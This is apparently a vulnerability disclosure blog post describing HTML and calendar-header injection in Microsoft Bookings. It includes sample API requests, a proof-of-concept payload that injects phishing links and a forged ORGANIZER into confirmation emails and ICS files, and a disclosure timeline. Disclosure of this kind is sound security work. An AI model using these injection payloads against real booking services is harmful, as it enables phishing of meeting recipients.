Breaking

Disclosure: Input Validation Vulnerabilities in Microsoft Bookings

In a recent customer project, we discovered vulnerabilities in Microsoft Bookings, an online appointment scheduling tool integrated into Microsoft 365, allowing companies to have customers book meetings in available times themselves. The findings originate from insufficient input validation on the public meeting scheduling endpoint. Although Microsoft has largely mitigated this vulnerability, our analysis provides important insights into potential risks and areas for improvement.

Introduction & Context

Microsoft Bookings is a service that allows organizations to manage appointments and meetings via a web interface. With integration to services such as Microsoft Teams, the security of the booking process is critical. This blog post outlines our technical analysis of the vulnerability, including proof-of-concept details and an overview of the vendor response.

Vulnerability Overview

The vulnerability arises from a lack of proper validation, filtering, and sanitization of user-supplied input in the meeting creation and update APIs.

The key aspects include:

  • Insufficient Input Sanitization: Critical fields such as appointment.serviceNotes, appointment.additionalNotes, and appointment.body.content are not properly validated. This creates an opportunity for arbitrary HTML to be injected.
  • HTML Injection in Emails: The unsanitized HTML input is propagated into confirmation emails and Teams invitations. This injection can be used to alter email content, introduce malicious links, or inject deceptive formatting.
  • Calendar (ICS) File Manipulation: The vulnerability also affects the ICS calendar attachments. Attackers can introduce custom calendar headers (e.g., X-ALT-DESC and additional ORGANIZER entries) that alter the displayed meeting details.
  • Abuse via Rescheduling: The rescheduling functionality reuses the unsanitized fields in subsequent PUT requests. This process allows an attacker to continuously inject or modify HTML content in confirmed meeting details.

Detailed Technical Analysis

Schedule Meeting

In the standard booking flow, a POST request is made to create an appointment. This request includes several fields later embedded within confirmation emails, such as appointment.serviceNotes and appointment.body.content. Our analysis revealed that these fields do not receive adequate sanitization.

Initial Appointment Creation Example:

POST /BookingsService/api/V1/bookingBusinessesc2/EXAMPLETestseite@bookings.example.de/appointments?app=BookingsC2&n=11 HTTP/1.1
Host: outlook.office365.com
[...]

{
  "appointment": {
    "startTime": [...],
    "endTime": [...],
    "serviceId": [...],
    "staffMemberIds": [...],
    "customers": [
      {
        "name": "Matthias Ortmann",
        "emailAddress": "[redacted]@ernw.de",
        [...]
      }
    ],
    "isLocationOnline": true,
    "smsNotificationsEnabled": false,
    "verificationCode": "",
    "customerTimeZone": "W. Europe Standard Time",
    "trackingDataId": "",
    "bookingFormInfoList": [],
    "price": 0,
    "priceType": "SERVICEDEFAULTPRICETYPES_NOT_SET",
    "isAllDay": false,
    "additionalRecipients": []
  },
  "preferences": {
    "staffCandidates": [...]
  }
}

The JSON response echoes the supplied input, including embedded HTML in fields like appointment.serviceNotes and appointment.body.content:

HTTP/1.1 200 OK
Content-Type: application/json
Server: Microsoft-HTTPAPI/2.0
[...]

{
  "appointment": {
    "id": [...],
    "startTime": [...],
    "endTime": [...],
    "customers": [
      {
        "id": [...],
        "name": "Matthias Ortmann",
        "emailAddress": "[redacted]@ernw.de",
        [...],
        "notes": "",
        "timeZone": "W. Europe Standard Time",
        "answeredCustomQuestions": [],
        "smsNotificationsEnabled": false,
        "instanceId": [...],
        "price": 0,
        "priceType": "SERVICEDEFAULTPRICETYPES_UNDEFINED"
      }
    ],
    "staffMemberIds": [...],
    "serviceId": [...],
    "serviceName": "Testdienst",
    "serviceNotes": "Dies ist der Ort, an dem Sie Notizen zu dieser Dienstleistung hinzufügen können, die nur Sie und Ihre Mitarbeiter sehen können.[...]",
    "isLocationOnline": true,
    "joinWebUrl": [...],
    "preBuffer": "0s",
    "postBuffer": "0s",
    "price": 0,
    "priceType": "SERVICEDEFAULTPRICETYPES_NOT_SET",
    "maximumAttendeesCount": 1,
    "filledAttendeesCount": 1,
    "optOutOfCustomerEmail": false,
    "smsNotificationsEnabled": false,
    "duration": "1800s",
    "serviceLocation": [...],
    "selfServiceAppointmentId": [...],
    "reminders": [],
    "customerTimeZone": "W. Europe Standard Time",
    "bookingAppointmentStatus": {
      "state": "BOOKING_APPOINTMENT_STATE_TYPE_UNDEFINED",
      "stateModifiedBy": "BOOKING_APPOINTMENT_STATE_MODIFIED_BY_TYPE_UNDEFINED"
    },
    "verificationCode": "",
    "bookingFormInfoList": [],
    "bookingMultiStaffSupportEnabled": false,
    "additionalInformation": [...],
    "isSelfServiceEnabled": true,
    "body": {
      "contentType": "text",
      "content": [...],
      "contentTruncated": false
    },
    "meetingDuration": "0s",
    "joinedStaffMemberIds": [],
    "bookingAppointmentType": "BOOKING_APPOINTMENT_TYPE_SCHEDULED",
    "onlineMeetingCustomRoutingUrl": [...],
    "isWebrtcOnlineMeetingEnabled": false,
    "additionalRecipients": [],
    "sendMeetingInviteToCustomer": true,
    "trackingDataId": "",
    "createTime": [...],
    "updateTime": [...],
    "appointmentLabel": "",
    "isAllDay": false
  }
}

Notice that appointment.serviceNotes, appointment.additionalNotes, and appointment.body.content potentially carry large blocks of HTML-formatted text. This HTML is used both for rendering booking confirmation emails:

Booking Confirmation Email

and for the standard Teams meeting invitation:

Teams Invite Email

Exploitability via the “Reschedule” Functionality

Booking confirmation emails include a link that allows recipients to edit their booking. A typical URL might look like this:

https://outlook.office.com/book/EXAMPLETestseite@example.de/id/[...]
Reschedule Booking Interface

When a user clicks the link, they can reschedule the meeting. During this process, the original unsanitized HTML content is re-sent within a PUT request in fields such as appointment.serviceNotes, appointment.additionalNotes, and appointment.body.content:

PUT /BookingsService/api/V1/bookingBusinessesc2/EXAMPLETestseite@bookings.example.de/appointments/[...]?app=BookingsC2&n=16 HTTP/1.1
Host: outlook.office365.com
[...]

{
  "appointment": {
    "id": [...],
    "startTime": [...],
    "endTime": [...],
    "customers": [
      {
        "id": [...],
        "name": "Matthias Ortmann",
        "emailAddress": "[redacted]@ernw.de",
        [...],
        "notes": "",
        "timeZone": "W. Europe Standard Time",
        "answeredCustomQuestions": [],
        "smsNotificationsEnabled": false,
        "instanceId": [...],
        "price": 0,
        "priceType": "SERVICEDEFAULTPRICETYPES_NOT_SET"
      }
    ],
    "staffMemberIds": [...],
    "serviceId": [...],
    "serviceName": "Testdienst",
    "serviceNotes": "Dies ist der Ort, an dem Sie Notizen zu dieser Dienstleistung hinzufügen können, die nur Sie und Ihre Mitarbeiter sehen können.[...]",
    "isLocationOnline": true,
    "joinWebUrl": [...],
    "preBuffer": "0s",
    "postBuffer": "0s",
    "price": 0,
    "priceType": "SERVICEDEFAULTPRICETYPES_NOT_SET",
    "maximumAttendeesCount": 1,
    "filledAttendeesCount": 1,
    "optOutOfCustomerEmail": false,
    "smsNotificationsEnabled": false,
    "duration": "1800s",
    "serviceLocation": [...],
    "selfServiceAppointmentId": [...],
    "reminders": [],
    "customerTimeZone": "W. Europe Standard Time",
    "bookingAppointmentStatus": {
      "state": "BOOKING_APPOINTMENT_STATE_TYPE_UNDEFINED",
      "stateModifiedBy": "BOOKING_APPOINTMENT_STATE_MODIFIED_BY_TYPE_UNDEFINED"
    },
    "verificationCode": "",
    "bookingFormInfoList": [],
    "bookingMultiStaffSupportEnabled": false,
    "additionalInformation": [...],
    "isSelfServiceEnabled": true,
    "body": {
      "contentType": "text",
      "content": [...],
      "contentTruncated": false
    },
    "meetingDuration": "0s",
    "joinedStaffMemberIds": [],
    "bookingAppointmentType": "BOOKING_APPOINTMENT_TYPE_SCHEDULED",
    "onlineMeetingCustomRoutingUrl": [...],
    "isWebrtcOnlineMeetingEnabled": false,
    "additionalRecipients": [],
    "sendMeetingInviteToCustomer": true,
    "trackingDataId": "",
    "createTime": "2024-12-11T09:28:35.464999400Z",
    "updateTime": "2024-12-11T09:28:38.504227400Z",
    "appointmentLabel": "",
    "isAllDay": false
  }
}

To demonstrate the vulnerability, consider the following modifications:

  • Injected Service Notes:
    "serviceNotes": "Nehmen Sie über Ihren mobilen Webbrowser an der Phishing-Besprechung teil: <a href=\"https://ernw.de\" target=\"_blank\">LINK</a><!--"
  • Crafted Input for joinWebUrl:
    "joinWebUrl": "https://ernw.de\"</a><a href=\"https://ernw.de\" style=\"[...]\" target=\"_blank\"><img src=\"https://ernw.de/assets/icons/icon-32x32.png\" [...]\"> Am Phishing-Termin teilnehmen</a></a></td></tr></tbody></table></td></tr></tbody></table></div><!--\nX-ALT-DESC;FMTTYPE=text/html:<a href=\"https://ernw.de\"><h1>Click here to join!</h1></a>\nORGANIZER;CN=ERNW:mailto:ERNW@[redacted2]@ernw.de\nSUMMARY;LANGUAGE=en-US:Testdienst-ERNW"

Upon editing the booking, the modified meeting confirmation email is generated:

Updated Confirmation Email

Furthermore, the attached ICS file now includes the injected HTML description via X-ALT-DESC and an altered ORGANIZER field:

X-ALT-DESC;FMTTYPE=text/html:<a href="https://ernw.de"><h1>Click here to join!</h1></a>
ORGANIZER;CN=ERNW:mailto:ERNW@[redacted2]@ernw.de

Impact

Due to the lack of input validation, attackers can manipulate booking details in meeting invitations and calendar attachments. Specific impacts include:

  • Email and Calendar Manipulation: Unauthorized modifications to event details (such as descriptions, meeting URLs, and additional calendar headers) can mislead recipients and facilitate phishing attacks.
  • Compromised Data Integrity: The integrity of the scheduling process is undermined. An attacker may alter meeting timings, participant details, or event duration without proper authorization.
  • Confidentiality Risks: Sensitive booking information, including internal notes intended for employees, may be exposed via the rebooking functionality. This unintended exposure increases the risk of unauthorized data disclosure.
  • Resource Exhaustion: Attackers can manipulate the duration of bookings, extending appointments far beyond their intended 30-minute slot. This can quickly exhaust employee calendars, effectively preventing legitimate customers from booking appointments.

Conclusion

To mitigate these risks, Microsoft must implement even stricter server-side sanitization and validation logic. Specifically, the system should enforce robust constraints on booking parameters, ensuring that time-related fields are restricted to predefined time slots to prevent excessively long meetings from blocking other users from booking appointments. Moreover, the additionalRecipients field must be tightly controlled: customers should not be able to inject email addresses into this parameter.

Disclosure Timeline

  • December 27, 2024: Initial contact with MSRC (Microsoft Security Response Center), including submission of detailed information regarding the vulnerability. Our customer contacts Microsoft via its sales channel in parallel.
  • December 30, 2024: MSRC assesses the case as moderate severity. They determine it does not meet the threshold for immediate servicing, citing the dependency on phishing techniques for exploitation.
  • January 29, 2025: ERNW challenges the assessment of MSRC, stating that the vulnerability can be exploited without phishing. Instead, the flaw could be leveraged to facilitate phishing, thereby increasing its impact.
  • January 31, 2025: MSRC reaffirms their original position and maintains the initial severity classification.
  • February 19, 2025: Feedback via our customer that their Microsoft contacts affirm that the vulnerabilities have been remedied.
  • February 24, 2025: ERNW performs a retest of the vulnerabilities. Most aspects of the vulnerability are no longer reproducible. However, certain parameters (like additionalRecipients, startTime, and endTime) remain insufficiently validated.
  • May 08, 2025: Public Disclosure of the vulnerabilities.

Cheers!

Matthias

Leave a Reply

Your email address will not be published. Required fields are marked *